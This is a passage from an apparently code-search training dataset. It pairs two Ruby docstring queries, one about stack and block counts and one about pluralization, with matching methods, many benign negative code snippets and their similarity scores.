query
stringlengths 7
9.55k
| document
stringlengths 10
363k
| metadata
dict | negatives
listlengths 0
101
| negative_scores
listlengths 0
101
| document_score
stringlengths 3
10
| document_rank
stringclasses 102
values |
---|---|---|---|---|---|---|
Returns an array [stacks, blocks]
|
def calc_stacks(n, stack_size=64)
[stacks = (n / stack_size).floor, n - (stacks * stack_size)]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def blocks\n @block_stacks.map { |candidates| candidates&.first }\n end",
"def get_blocks\n if (branches = @cur_state.branches[@tape.val])\n branches.map { |branch| branch.block } \n else\n [@cur_state.default]\n end\n end",
"def stack\n return (@stack&.stack || [])\n end",
"def initialize\n @stacks = []\n end",
"def get_blocks\n @blocks\n end",
"def stacks\n cloudformation.stacks\n end",
"def stack\n @stack\n end",
"def blocks\n @blocks ||= []\n end",
"def blocks\n @blocks ||= []\n end",
"def to_stack; end",
"def __stack\n @stack ||= []\n end",
"def return_stack\n return @state[:fiber][:return_stack]\n end",
"def stacks\n response = OpenStack::Heat::Connection.heat_conn.req('GET', '/stacks')\n stacks_hash = JSON.parse(response.body)[\"stacks\"]\n stacks_hash.inject([]){|res, current| res << OpenStack::Heat::Stack.new(current); res}\n end",
"def get_stacks\n provider.stacks.all.map do |stack|\n Smash.new(stack.attributes)\n end.sort do |x, y|\n if y[:created].to_s.empty?\n -1\n elsif x[:created].to_s.empty?\n 1\n else\n Time.parse(x[:created].to_s) <=> Time.parse(y[:created].to_s)\n end\n end\n end",
"def pipeline_stack\n @pipeline_stack ||= []\n end",
"def copy_stack\n return Array.new @stack\n end",
"def blocks\n if num_blocks.positive?\n blocks_for_num_blocks\n else\n blocks_for_block_size\n end\n end",
"def stack; end",
"def stack; end",
"def sup_stack_list\n a = Array.[](\"rk\", \"rg\", \"rng\", \"rj\", \"rny\", \"rt\", \"rd\", \"rn\", \"rb\", \"rts\", \"rdz\", \"rm\",\n \"lk\", \"lg\", \"lng\", \"lc\", \"lj\", \"lt\", \"ld\", \"lp\", \"lb\", \"lh\",\n \"sk\", \"sg\", \"sng\", \"sny\", \"st\", \"sd\", \"sn\", \"sp\", \"sb\", \"sm\", \"sts\")\n return a\n end",
"def get_stack_select\n stacks = Deployinator.get_stacks\n output = Array.new\n stacks.each do |s|\n current = stack == s\n output << { \"stack\" => s, \"current\" => current }\n end\n output\n end",
"def list_stacks\n client.describe_stacks.stacks\n end",
"def stack(name)\n stacks = (Thread.current[:__moped_threaded_stacks__] ||= {})\n stacks[name] ||= []\n end",
"def get_block_names\n @blocks.keys\n end",
"def stacks\n rows = []\n Launcher::Stacks.new.all_statuses { |s| rows << [s[:name], s[:updated_at], s[:status]] }\n Launcher::Log.ok \"\\n\", Terminal::Table.new(:headings => [\"Name\", \"Updated At\", \"Status\"], :rows => rows)\n end",
"def get_output(stacks, blocks, put_shulkers=false)\n s = \"\"\n put_stacks, put_blocks = stacks.nonzero?, blocks.nonzero?\n\n if put_shulkers\n s += pluralize boxes = (stacks / 27).floor, \"shulker\"\n\n # Strip the necessary # of stacks off the count.\n stacks -= boxes * 27\n put_stacks = stacks.nonzero?\n\n s += \", \" if put_stacks or put_blocks\n end\n\n if put_stacks\n s += pluralize stacks, \"stack\"\n s += \", \" if put_blocks\n end\n\n s += pluralize blocks, \"block\" if put_blocks\n\n s\nend",
"def left_most_blocks\n @blocks.each_with_index.map do |row_blocks, row_index|\n column_block_with_column_index = row_blocks.each_with_index.to_a.detect do |column_block, column_index|\n !column_block.clear?\n end\n if column_block_with_column_index\n left_most_block = column_block_with_column_index[0]\n {\n block: left_most_block,\n row_index: row_index,\n column_index: column_block_with_column_index[1]\n }\n end\n end.compact\n end",
"def __stack\n @stack\n end",
"def bottom_most_blocks\n width.times.map do |column_index|\n row_blocks_with_row_index = @blocks.each_with_index.to_a.reverse.detect do |row_blocks, row_index|\n !row_blocks[column_index].clear?\n end\n bottom_most_block = row_blocks_with_row_index[0][column_index]\n bottom_most_block_row = row_blocks_with_row_index[1]\n {\n block: bottom_most_block,\n row_index: bottom_most_block_row,\n column_index: column_index\n }\n end\n end",
"def parsed_stack\n @values.fetch('parsedStack') { \n @values['parsedStack'] = []\n }\n end",
"def hash_stacks(arr)\n return Hash[arr.map { |x| [x.stack_name, x] }]\n end",
"def blocks\n unless defined?(@blocks)\n bs = block_sizes\n qst = query.starts\n tst = target.starts\n qseqs = query.seqs\n tseqs = target.seqs\n @blocks = (0...block_count).collect do |i|\n SegmentPair.new(query.size, strand, bs[i],\n qst[i], tst[i], qseqs[i], tseqs[i])\n end\n end\n @blocks\n end",
"def split_blocks(array)\n array.inject( [ [] ] ) do |array_of_blocks, val|\n if val == -1\n array_of_blocks << [-1]\n array_of_blocks << [] \n else \n array_of_blocks[-1] << val\n end\n array_of_blocks\n end\nend",
"def block_list(context={})\n \n blocks = []\n blocks.concat(get_menus_as_blocks(context))\n blocks.concat(get_breadcrumb_as_block(context))\n blocks.concat(get_public_breadcrumb_as_block(context))\n blocks.concat(get_views_as_blocks(context))\n blocks.concat(get_contents_as_blocks(context))\n \n return blocks\n \n end",
"def children\n block ? [block] : []\n end",
"def blocks\n object.blocks.map{ |x|\n ShallowBlockSerializer.new(x)\n }\n end",
"def stack(which, name)\n @@stacks[which][name]\n end",
"def stack_boxes(boxes, stack = [])\n return 0 if boxes.length == 0\n boxes = sort_boxes_height(boxes)\n max_height = calculate_height(stack)\n current_boxes = remove_min!(boxes)\n #initial case for not adding smallest box\n temp_max_height = stack_boxes(boxes, stack)\n if temp_max_height > max_height\n max_height = temp_max_height\n end\n\n #loop throuh to find ideal box at each height resitrction\n until current_boxes.empty?\n temp_stack = stack.clone\n current_box = current_boxes.shift\n if compare_width_depth(stack.last, current_box)\n temp_stack.push(current_box)\n temp_max_height = stack_boxes(boxes, temp_stack)\n if temp_max_height > max_height\n max_height = temp_max_height\n end\n end\n end\n max_height\nend",
"def get_bounds\n # Go throug all blocks to find the bounds of this shape\n x_min = []\n y_min = []\n x_max = []\n y_max = []\n @blocks.each do |block| \n x_min << block.x\n y_min << block.y\n \n x_max << block.x + block.width\n y_max << block.y + block.height\n end\n\n return [x_min.min, y_min.min, x_max.max, y_max.max]\n end",
"def block_fork_positions\n board = @board.clone\n positions = []\n\n board.blanks.each do |blank_position|\n board.place_move(blank_position, @play_symbol)\n\n if block_positions(board).size >= 2\n positions << blank_position\n end\n\n board.undo_move(blank_position)\n end\n\n positions\n end",
"def get_block_cells block\n\t\tblock_cells = []\n\t\t(block / 3 * 3...block / 3 * 3 + 3).each do |r|\n\t\t\t(block % 3 * 3...block % 3 * 3 + 3).each do |c|\n\t\t\t\tblock_cells << r * 9 + c\n\t\t\tend\n\t\tend\n\treturn block_cells\n\n\tend",
"def blocks\n @blocks ||= Array(@grpc.blocks).map do |b|\n Block.from_grpc b\n end\n end",
"def initialize\n @in_stack = []\n @out_stack = []\n end",
"def add_stacks\n variable_stack.add_stack\n value_stack.add_stack\n end",
"def outputs\n @stack.outputs\n end",
"def sub_stack_list\n a = Array.[](\"ky\", \"khy\", \"gy\", \"py\", \"phy\", \"by\", \"my\",\n \"kr\", \"khr\", \"gr\", \"tr\", \"thr\", \"dr\", \"pr\", \"phr\", \"br\", \"mr\", \"shr\", \"sr\", \"hr\",\n \"kl\", \"gl\", \"bl\", \"zl\", \"rl\", \"sl\",\n \"kw\", \"khw\", \"gw\", \"cw\", \"nyw\", \"tw\", \"dw\", \"tsw\", \"tshw\", \"zhw\", \"zw\", \"rw\", \"lw\", \"shw\", \"sw\", \"hw\",\n \"t'\", \"h'\", \"a'\",\n \"grw\")\n return a\n end",
"def stack\n @values.fetch('stack') { \n @values['stack'] = nil\n }\n end",
"def initialize\n @stack = []\n end",
"def initialize\n @stack = []\n end",
"def peek_stack\n @array_list[@array_list.length.to_i - 1]\n end",
"def init_stacks(corporations)\n dpr, *shuffled = corporations\n shuffled.sort_by! { rand }\n corps = [dpr, *shuffled]\n\n stacks = [4, 5]\n stacks.sort_by! { rand }\n size1, size2 = stacks\n\n [\n corps.slice(0, size1),\n corps.slice(size1, size2),\n ]\n end",
"def blocks\n @num_blocks > 0 ? blocks_for_num_blocks :\n blocks_for_block_size\n end",
"def initialize\n @info = Array.new(STACK_SIZE)\n @index = 0\n end",
"def lambda_stack; end",
"def lambda_stack; end",
"def lambda_stack; end",
"def make_stack(typ)\n # Create the signal array representing the stack.\n depth = @depth\n # puts \"make stack with @depth=#{@depth}\"\n stack_sig = nil\n name = @funcE.name\n HDLRuby::High.cur_system.open do\n stack_sig = typ[-depth].inner(\n HDLRuby.uniq_name(\"#{name}_stack\"))\n end\n # Add it to the list of stacks to handle.\n @stack_sigs << stack_sig\n\n # Returns the index of the newly created stack.\n return @stack_sigs.size-1\n end",
"def print_stack(cells)\n puts\n puts \"\\t#{bold { 'Current stack' }.center(33, ' ')}\"\n puts \"\\t\" + blue { \"-------------------------\" }\n cells.reverse.each do |element|\n puts \"\\t#{blue {\"|\"} }#{bold { element.inspect.center(23, ' ') }}#{blue {\"|\"}}\"\n puts \"\\t\" + blue { \"-------------------------\" }\n end\n puts\n end",
"def get_blocks\n @blocks[0].x = @x\n @blocks[1].x = @x\n @blocks[2].x = @x\n @blocks[3].x = @x\n @blocks[0].y = @y\n @blocks[1].y = @blocks[0].y + @blocks[0].height\n @blocks[2].y = @blocks[1].y + @blocks[1].height\n @blocks[3].y = @blocks[2].y + @blocks[2].height\n \n apply_rotation\n \n @blocks.each { |block| block.color = 0xffb2ffff }\n end",
"def print\n @stacks.each { |stack| p stack }\n end",
"def right_most_blocks\n @blocks.each_with_index.map do |row_blocks, row_index|\n column_block_with_column_index = row_blocks.each_with_index.to_a.reverse.detect do |column_block, column_index|\n !column_block.clear?\n end\n if column_block_with_column_index\n right_most_block = column_block_with_column_index[0]\n {\n block: right_most_block,\n row_index: row_index,\n column_index: column_block_with_column_index[1]\n }\n end\n end.compact\n end",
"def nested_stacks_google(recurse = true)\n my_template = sparkleish_template\n if my_template[:resources][name]\n my_template = my_template.get(:resources, name, :properties, :stack)\n end\n n_stacks = my_template[:resources].map do |s_name, content|\n if content[:type] == \"sparkleformation.stack\"\n n_stack = self.class.new(api)\n n_stack.extend PretendStack\n n_layout = custom.fetch(:layout, {}).fetch(:resources, []).detect { |r| r[:name] == name }\n n_layout = (n_layout || custom.fetch(:layout, {})).fetch(:resources, []).detect { |r| r[:name] == s_name } || Smash.new\n n_stack.load_data(\n :name => s_name,\n :id => s_name,\n :template => content.get(:properties, :stack),\n :outputs => n_layout.fetch(\"outputs\", []).map { |o_val| Smash.new(:key => o_val[:name], :value => o_val[\"finalValue\"]) },\n :custom => {\n :resources => resources.all.map(&:attributes),\n :layout => n_layout,\n },\n ).valid_state\n n_stack.data[:logical_id] = s_name\n n_stack.data[:parent_stack] = self\n n_stack\n end\n end.compact\n if recurse\n (n_stacks + n_stacks.map(&:nested_stacks)).flatten.compact\n else\n n_stacks\n end\n end",
"def view\n puts \"bottom\"\n puts \"=====\"\n\n @stack.each do | i |\n puts i\n end\n\n puts \"=====\"\n puts \"top\"\n end",
"def break_blocks\n\t\tnew_height = 0\n\t\tnew_width = 0\n\t\t\n\t\t0.upto(height - 1) do |x|\n\t\t\tnew_height += self[x][0].height\n\t\tend\n\t\t0.upto(width - 1) do |x|\n\t\t\tnew_width += self[0][x].width\n\t\tend\n\n\t\tmatrix = Array.Make_Matrix(new_width,new_height)\n\t\tcurrent_height = 0\n\t\tcurrent_width = 0\n\t\twhile current_height < new_height\n\t\t\ti = 0\n\t\t\twhile i < height \n\t\t\t\tj = 0\n\t\t\t\twhile j < width\n\t\t\t\t\tcurrent_matrix = self[i][j]\n\t\t\t\t\ti2 = 0\n\t\t\t\t\twhile i2 < current_matrix.height \n\t\t\t\t\t\tj2 = 0\n\t\t\t\t\t\twhile j2 < current_matrix.width\n\t\t\t\t\t\t\tmatrix[current_height + i2][current_width + j2] = current_matrix[i2][j2]\n\t\t\t\t\t\t\tj2 += 1\n\t\t\t\t\t\tend\n\t\t\t\t\t\ti2 += 1\n\t\t\t\t\tend\n\t\t\t\t\tcurrent_width += current_matrix.width\n\t\t\t\t\tj += 1\n\t\t\t\tend\n\t\t\t\tcurrent_width =0\n\t\t\t\tcurrent_height += current_matrix.height\n\t\t\t\ti+=1\n\t\t\tend\n\t\tend\n\t\treturn matrix\n\tend",
"def push_stack\n bb = {:black => get_black,:white => get_white}\n @stack.push(Marshal.load(Marshal.dump(bb)))\n @stack.shift if @stack.size > @options[:stack_limit]\n end",
"def push_block\n \"stack_push(cpu_current_block(state, c));\"\n end",
"def get_array_of_solid_blocks\n @solid_blocks = []\n\n @map_image_key.each_key do |key|\n if (key.upcase == key) and (key != ',')\n @solid_blocks.push(key)\n end\n end\n end",
"def blocklists; end",
"def transaction_stack\n result = [plan]\n obj = self\n while obj.respond_to?(:__getobj__)\n obj = obj.__getobj__\n result << obj.plan\n end\n result\n end",
"def get_blocks(options = {block_range: (0..0)}, &block)\n get_block_objects(options.merge(object: :block), block)\n end",
"def print\n @stacks.each { |stack| p stack }\n end",
"def print\n @stacks.each { |stack| p stack }\n end",
"def print\n @stacks.each { |stack| p stack }\n end",
"def print\n @stacks.each { |stack| p stack }\n end",
"def print\n @stacks.each { |stack| p stack }\n end",
"def print\n @stacks.each { |stack| p stack }\n end",
"def marshal_dump()\n\t\treturn [@lines, @columns, @stack]\n\tend",
"def generate_stack\n VALUES.product(SUITS).map!(&:join)\n\n # stack = []\n # VALUES.each do |value|\n # SUITS.each do |suit|\n # stack << value + suit\n # end\n # end\n # stack\n end",
"def blocks_for_num_blocks\n # Don't create blocks if we have no words\n return [] if @single_block.empty?\n\n # Split the single block into the right size and return\n @single_block.in_groups(@num_blocks, false).each_with_object([]) do |b, ret|\n ret << Block.new(b, I18n.t('lib.frequency.block_count_dataset',\n num: ret.size + 1, total: @num_blocks))\n end\n end",
"def basic_blocks\n cfg.blocks\n end",
"def get_record_blocks\n\n blocks = []\n current_block = nil\n\n File.readlines(@file).each do |l|\n\n # start of a new aragorn result\n if l =~ /^Location \\[(\\d+),(\\d+)\\]$/\n\n if current_block\n blocks << parse_block(current_block)\n current_block = []\n else \n current_block = Array.new\n end\n end\n\n if current_block\n current_block << l\n end \n\n end\n unless current_block.nil?\n blocks << parse_block(current_block)\n end\n\n return blocks\n end",
"def all_tilestacks_rule\n if $compute_tilestacks.none?\n STDERR.puts \" Skipping tilestack creation\"\n []\n else\n STDERR.puts \" #{@base_tiles.size} base tiles per input frame (#{@source.tilesize}x#{@source.tilesize} px)\"\n if @source.respond_to?(:tilestack_rules)\n # The source natively supplies tilestacks. We should depend on these\n targets = @source.tilestack_rules\n targets = Rule.touch(\"#{@raw_tilestack_dir}/SOURCE_COMPLETE\", targets)\n else\n # The source supplies tiles. We should depend on these\n targets = all_tiles_rule\n end\n targets = tilestack_rule(Tile.new(0,0,0), targets)\n Rule.touch(\"#{@tilestack_dir}/COMPLETE\", targets)\n end\n end",
"def basic_blocks\n @basic_block_collection ||= BasicBlockCollection.new(self)\n end",
"def deployed_stack_names\n stacks.map(&:name).compact\n end",
"def spans8(x)\n spans = [1]\n stack = Stack.new\n prev_x = x.first\n stack.push([ prev_x, 0 ])\n\n x[1..-1].each.with_index do |curr_x,i|\n i += 1 # did the first one before this loop\n# puts \"#{i}) curr_x = #{curr_x}, stack = #{stack.stack}, spans = #{spans}\"\n span = 1\n\n if curr_x < prev_x\n stack.push([ curr_x, i ])\n else\n biggest_previous_index = nil\n while !stack.empty? && stack.top[0] <= curr_x\n biggest_previous_index = stack.pop[1]\n end\n if biggest_previous_index\n span += spans[biggest_previous_index]\n span += (i - biggest_previous_index) - 1\n end\n stack.push([ curr_x, i ])\n end\n spans << span\n prev_x = curr_x\n end\n return spans\nend",
"def splits\n []\n end",
"def shift_stacks\n if @stack_oldest.top.data == nil\n while @stack_newest.top.data != nil\n value = @stack_newest.pop.data\n @stack_oldest.push(value) if value != nil\n end\n end\n end",
"def process_blocks(blocks); end",
"def build_blocks\n new_blocks = []\n current_rotated_blocks.each do |block|\n block_actor = @stage.create_actor :block,\n x: block[0] * BLOCK_SIZE + @falling_piece.x,\n y: block[1] * BLOCK_SIZE + @falling_piece.y,\n grid_offset_x: block[0],\n grid_offset_y: block[1],\n image: @falling_piece.image\n\n new_blocks << block_actor\n end\n # Destroy ourselves, leaving only the blocks behind\n @falling_piece.remove\n\n new_blocks\n end",
"def print_stack\n self.arr[0...self.curr].join(' ')\n end",
"def stack(*args); end",
"def _get_code_blocks(contents)\n code_blocks = []\n code_block = contents.slice(REGEX)\n if (!code_block.nil?)\n code_blocks << code_block\n while code_block = $'.slice(REGEX)\n code_blocks << code_block\n end\n end\n code_blocks\n end",
"def activity_blocks\n \n result = {}\n\n blocks_hash = ContentManagerSystem::Block.active_blocks(\n Themes::ThemeManager.instance.selected_theme,\n Plugins::Plugin.plugin_invoke(:booking, :apps_regions, context),\n context.user,\n context.request.path_info,\n nil)\n\n blocks_hash.each do |region, blocks|\n result[region.to_sym] = []\n blocks.each do |block|\n block_render = CMSRenders::BlockRender.new(block, context).render || ''\n if String.method_defined?(:force_encoding)\n block_render.force_encoding('utf-8')\n end\n result[block.region.to_sym].push({:id => block.name, \n :title => block.title, :body => block_render}) \n end\n end\n\n return result\n\n end",
"def blank_blocks(filter = writable_mifare_blocks, blks = Array.new(16, 0))\n filter.map do |x|\n [x, blks]\n end\n end",
"def stack_template_extractor(x_stacks, &block)\n x_stacks.each do |stack, resource, s_name|\n unless(stack.nested_stacks.empty?)\n stack_template_extractor(stack.nested_stacks(:with_resource, :with_name), &block)\n end\n resource.properties.set!(:stack, stack.compile.dump!)\n block.call(s_name, stack, resource)\n end\n end",
"def describe_stacks(options = {})\n request({\n 'Action' => 'DescribeStacks',\n :parser => Fog::Parsers::AWS::CloudFormation::DescribeStacks.new\n }.merge!(options))\n end",
"def stack config={}, &block\n s = WsStack.new config\n @_ws_active ||= []\n _configure s\n @_ws_active << s\n yield_or_eval &block if block_given?\n @_ws_active.pop \n \n # ---- stack is finished now\n last = @_ws_active.last\n if last \n case last\n when WsStack\n when WsFlow\n last[:col] += last[:item_width] || 0 \n # this tries to set height of outer flow based on highest row\n # printed, however that does not account for height of object,\n # so user should give a height to the flow.\n last[:height] = s[:row] if s[:row] > (last[:height]||0)\n $log.debug \"XXX: STACK setting col to #{s[:col]} \"\n end\n end\n\n end",
"def initialize()\n @min_stack = []\n @stack = []\n \n end",
"def callstack\n @callstack.dup\n end",
"def get_stages exec_trace\n ret_array = []\n lines = exec_trace.split /\\n/\n current_line = 0\n # Skip past preamble\n until lines[current_line] =~ /M@/\n current_line += 1\n end\n pattern = /M@(\\w+)/\n while current_line < lines.length\n if lines[current_line].match pattern\n command = lines[current_line].sub pattern, '\\1'\n case command\n when \"assign\"\n var = lines[current_line += 1]\n exp = lines[current_line += 1]\n i_store = lines[current_line += 1]\n i_heap = lines[current_line += 1]\n f_store = lines[current_line += 1]\n f_heap = lines[current_line += 1]\n text = \"#{var} := #{exp}\"\n ret_array.push Stage.new i_heap, i_store, f_heap, f_store, text\n current_line += 1\n when \"new\"\n var = lines[current_line += 1]\n exp = lines[current_line += 1]\n i_store = lines[current_line += 1]\n i_heap = lines[current_line += 1]\n f_store = lines[current_line += 1]\n f_heap = lines[current_line += 1]\n text = \"#{var} := new(#{exp})\"\n ret_array.push Stage.new i_heap, i_store, f_heap, f_store, text\n current_line += 1\n when \"dispose\"\n var = lines[current_line += 1]\n i_store = lines[current_line += 1]\n i_heap = lines[current_line += 1]\n f_store = lines[current_line += 1]\n f_heap = lines[current_line += 1]\n text = \"free(#{var})\"\n ret_array.push Stage.new i_heap, i_store, f_heap, f_store, text\n current_line += 1\n when \"lookup\"\n var1 = lines[current_line += 1]\n var2 = lines[current_line += 1]\n i_store = lines[current_line += 1]\n i_heap = lines[current_line += 1]\n f_store = lines[current_line += 1]\n f_heap = lines[current_line += 1]\n text = \"#{var1} := [#{var2}]\"\n ret_array.push Stage.new i_heap, i_store, f_heap, f_store, text\n current_line += 1\n when \"mutate\"\n var = lines[current_line += 1]\n exp = lines[current_line += 1]\n i_store = lines[current_line += 1]\n i_heap = lines[current_line += 1]\n f_store = lines[current_line += 1]\n f_heap = lines[current_line += 1]\n text = \"[#{var}] := #{exp}\"\n ret_array.push Stage.new i_heap, i_store, f_heap, f_store, text\n current_line += 1\n when \"conditional\"\n bool = lines[current_line += 1]\n i_store = lines[current_line += 1]\n i_heap = lines[current_line += 1]\n prog = lines[current_line += 1]\n text = \"if #{bool} (taking branch: #{prog})\"\n ret_array.push Stage.new i_heap, i_store, i_heap, i_store, text\n current_line += 1\n else\n raise \"command did not match\"\n end\n else\n raise \"line #{lines[current_line]} didn't match\"\n end\n end\n ret_array\nend"
] |
[
"0.79036254",
"0.68447727",
"0.6736061",
"0.6695343",
"0.6401598",
"0.6382057",
"0.6346067",
"0.62985915",
"0.62630713",
"0.6206717",
"0.61008775",
"0.6053213",
"0.6051162",
"0.5989511",
"0.5967226",
"0.595517",
"0.5944317",
"0.5935325",
"0.5935325",
"0.59115636",
"0.58667994",
"0.5854964",
"0.58098185",
"0.58075416",
"0.5733718",
"0.57327074",
"0.57078767",
"0.5704855",
"0.56691545",
"0.5639489",
"0.5621012",
"0.55468947",
"0.553495",
"0.5502983",
"0.54920954",
"0.5484371",
"0.54824185",
"0.5472147",
"0.5468034",
"0.54604286",
"0.54500586",
"0.5446949",
"0.5428367",
"0.5408145",
"0.5406896",
"0.539124",
"0.5379994",
"0.53729796",
"0.53729796",
"0.5369021",
"0.5329925",
"0.532757",
"0.531564",
"0.53092396",
"0.53092396",
"0.53092396",
"0.53082776",
"0.53066236",
"0.52996737",
"0.52841794",
"0.52818424",
"0.5263128",
"0.5236037",
"0.5197679",
"0.51700455",
"0.51668125",
"0.51633954",
"0.5154858",
"0.5149886",
"0.51312506",
"0.5131182",
"0.5131182",
"0.5131182",
"0.5131182",
"0.5131182",
"0.5131182",
"0.51281714",
"0.511754",
"0.510081",
"0.509553",
"0.5095382",
"0.5091016",
"0.5090291",
"0.50728106",
"0.50625986",
"0.50617087",
"0.50551265",
"0.50472665",
"0.50389475",
"0.5031577",
"0.5028661",
"0.50196695",
"0.50137615",
"0.5012146",
"0.50096965",
"0.50091326",
"0.50024426",
"0.5000177",
"0.49931997",
"0.49885833"
] |
0.598758
|
14
|
Get proper pluralization pluralize 1, "stack" => "1 stack" pluralize 3, "stack" => "3 stacks"
|
def pluralize(n, str)
"#{n} #{str + (n == 1 ? "" : "s")}"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def pluralize_with_count( count=2 )\n count > 1 ? pluralize_without_count : singularize\n end",
"def pluralize\n self[-1] == 's' ? \"#{self}es\" : \"#{self}s\"\n end",
"def pluralize(count, singular, plural = nil)\n \"#{count} \" + if count == 1\n singular\n elsif plural\n plural\n elsif Object.const_defined?(\"Inflector\")\n Inflector.pluralize(singular)\n else\n singular + \"s\"\n end\n end",
"def pluralize(count, singular, plural = nil)\n \"#{count || 0} \" + ((count == 1 || count == '1') ? singular : (plural || singular.pluralize))\n end",
"def pluralize(count, singular, plural = nil)\n \"#{count || 0} \" + ((count == 1 || count == '1') ? singular : (plural || singular.pluralize))\n end",
"def pluralize(count)\n if custom?\n # todo: make a search from the custom inflector, if doesn't match, simply fallback to @name\n # something like OurInflector.pluralize(@name) || @name\n return @custom_name\n else\n (count == 1 || count =~ /^1([\\.,]0+)?$/) ? \n I18n.t(\"units.#{@yaml}\", :count => 1) : I18n.t(\"units.#{@yaml}\", :count => count)\n end\n end",
"def pluralize(locale, entry, count); end",
"def pluralize(count, singular, plural = nil)\n \"#{count || 0} \" + (count == 1 ? singular : (plural || singular.pluralize))\n end",
"def pluralize(count, singular, plural)\n word = count == 1 ? singular : plural\n \"#{count || 0} #{word}\"\n end",
"def pluralize(singularStr, num)\n if num == 1\n return singularStr\n else\n if singularStr[-1] == \"s\" # singularStr[-1] returns last character of string\n return \"#{singularStr}es\"\n else\n return \"#{singularStr}s\"\n end\n end\n end",
"def pluralize amount, singular\n \"#{amount} #{singular}#{amount == 1 ? '' : 's'}\"\n end",
"def pluralize(count, singular, plural_arg = nil, plural: plural_arg, locale: I18n.locale)\n word = if count == 1 || count.to_s.match?(/^1(\\.0+)?$/)\n singular\n else\n plural || singular.pluralize(locale)\n end\n\n \"#{count || 0} #{word}\"\n end",
"def pluralize(count, singular, plural)\n word = count == 1 ? singular : plural\n \"#{count || 0} #{word}\"\nend",
"def plural(int, str)\n return \"#{int} #{str.pluralize}\" unless int == 1\n \"#{int} #{str.singularize}\"\n end",
"def plural(int, str)\n return \"#{int} #{str.pluralize}\" unless int == 1\n \"#{int} #{str.singularize}\"\n end",
"def plural(int, str)\n return \"#{int} #{str.pluralize}\" unless int == 1\n \"#{int} #{str.singularize}\"\n end",
"def plural(int, str)\n return \"#{int} #{str.pluralize}\" unless int == 1\n \"#{int} #{str.singularize}\"\n end",
"def default_pluralizer(count)\n count == 1 ? :one : :other\n end",
"def pluralize_collection collection, noun \n if collection.size == 1 \n \"1 #{noun}\"\n else \n \"#{collection.size} #{noun.pluralize}\"\n end\n end",
"def pluralize(count = nil)\n if count == 1\n self\n else\n MotionSupport::Inflector.pluralize(self)\n end\n end",
"def plural(n)\n n == 1 ? \"#{n} bottle\" : \"#{n} bottles\"\nend",
"def pluralize(count, word)\n \"#{word}#{'s' unless count.to_i == 1}\"\n end",
"def pluralize( name )\n warn_nyi( \"support for pluralization guides in pluralize()\" )\n return name.pluralize\n end",
"def pluralize\n @name.pluralize\n end",
"def pluralizer string, n\n if n == 1 \n puts \"#{n} #{string}\"\n elsif n > 1 || n==0\n puts \"#{n} #{string}s\"\n end\nend",
"def inflect(word,count)\n if count>1\n word.pluralize\n else\n word\n end\n end",
"def pluralize(n, singular, plural=nil)\n if n == 1 \n \"1 #{singular}\"\n elsif plural\n \"#{n} #{plural}\"\n else\n \"#{n} #{singular}s\"\n end\n end",
"def pluralizer num,name\n \n if num >= 2\n p \"#{num} #{name}s.\"\n else\n p \"1 #{name}.\"\n end\nend",
"def pluralize(word); end",
"def pluralize\n p = self[ :plural ]\n p = ! scalar? if p.nil?\n p = 's' if p == false\n p = 'p' if p == true\n p.to_s\n end",
"def pluralized_stats(count, thing)\n new_count, new_thing = pluralize(count, thing).split(' ')\n raw \"#{new_count} #{content_tag(:span, new_thing)}\"\n end",
"def pluralizer num, noun\n if num == 1\n \"#{num} #{noun}\"\n else\n \"#{num} #{noun}s\"\n end\nend",
"def pluralize(l_string) #count, singular, plural = nil)\n # map the arguments like in the original pluralize method\n count, singular, plural = l_string.split(',').map{ |arg| arg.strip}\n\n \"#{count} \" + if count == 1 || count == '1'\n singular\n elsif plural\n plural\n elsif Object.const_defined?(\"Inflector\")\n Inflector.pluralize(singular)\n else\n singular + \"s\"\n end\n end",
"def pluralize(count, word)\n \"#{word}#{'s' unless count.to_f == 1}\"\n end",
"def pluralize(num, item)\n if item == :warning && num != 1\n \"#{num} Warnings\"\n else\n \"#{num} #{item.capitalize}\"\n end\n end",
"def pluralize(text)\n \"#{text.to_s}s\"\n end",
"def simple_pluralize count, singular, plural=nil\n ((count == 1 || count =~ /^1(\\.0+)?$/) ? singular : (plural || singular.pluralize))\n end",
"def plural_name\n return ext_text(9001, @id) if Item.id_valid?(@id)\n\n return ext_text(9001, 0)\n end",
"def plural\n\t\tEndings.each { |k, v|\n\t\t\tif name =~ '(.*)' + k + '$'\n\t\t\t\treturn $1.to_s + v\n\t\t\tend\n\t\t}\n\t\treturn \"#{name}s\"\n\tend",
"def pluralize_word(count, singular, plural = nil)\n ((count == 1 || count == '1') ? singular : (plural || singular.pluralize))\n end",
"def plural(int, str)\r\n return \"#{int} #{str}s\" unless int == 1\r\n \"#{int} #{str}\"\r\n end",
"def pluralizer num, noun\n if num != 1\n \"#{num} #{noun}s\"\n else \"#{num} #{noun}\"\n end\nend",
"def plural(n, item)\n n == 1 ? \"#{n} #{item}\" : \"#{n} #{item}s\"\nend",
"def pluralizer (num, noun)\n return \"#{num} #{noun}\" if num == 1\n return \"#{num} geese\" if noun == \"goose\"\n return \"#{num} sheep\" if noun == \"sheep\"\n return \"#{num} #{noun}s\"\nend",
"def pluralize\n {'win' => 'wins', 'loss' => 'losses', 'fail' => 'fails'}\n end",
"def pluralize(word, nb)\n if (nb > 1)\n return \"#{word}s\"\n else\n return \"#{word}\"\n end\nend",
"def pluralize(bottles, text)\n return text + 's' if bottles != 1\n text\nend",
"def plural(num,str)\n\n num_str = number_format(num)\n if num == 1\n return num_str + ' ' + str\n else\n return num_str + ' ' + str.pluralize\n end \n \n end",
"def pluralizer (num, noun)\n return \"#{num} #{noun}\"\n return \"#{num} geese\" if noun == \"goose\"\n return \"#{num} sheep\" if noun == \"sheep\"\n return \"#{num} #{noun}s\"\nend",
"def pluralise(number, word)\n return (number > 1)? \"#{number} #{word}s\" : \"#{number} #{word}\"\nend",
"def pluralize (amount, item)\n if(amount === 1)\n return amount.to_s + \" \" + item\n end\n if(item.downcase == \"goose\")\n return amount.to_s + \" geese\"\n end\n if(item.downcase == \"child\")\n return amount.to_s + \" children\"\n end\n if(item.downcase == \"sheep\")\n return amount.to_s + \" sheep\"\n end\n return amount.to_s + \" \" + item + \"s\"\nend",
"def pluralize(number, text)\n if number != 1\n return number, text + \"s\"\n else\n return number, text\n \n end\n \nend",
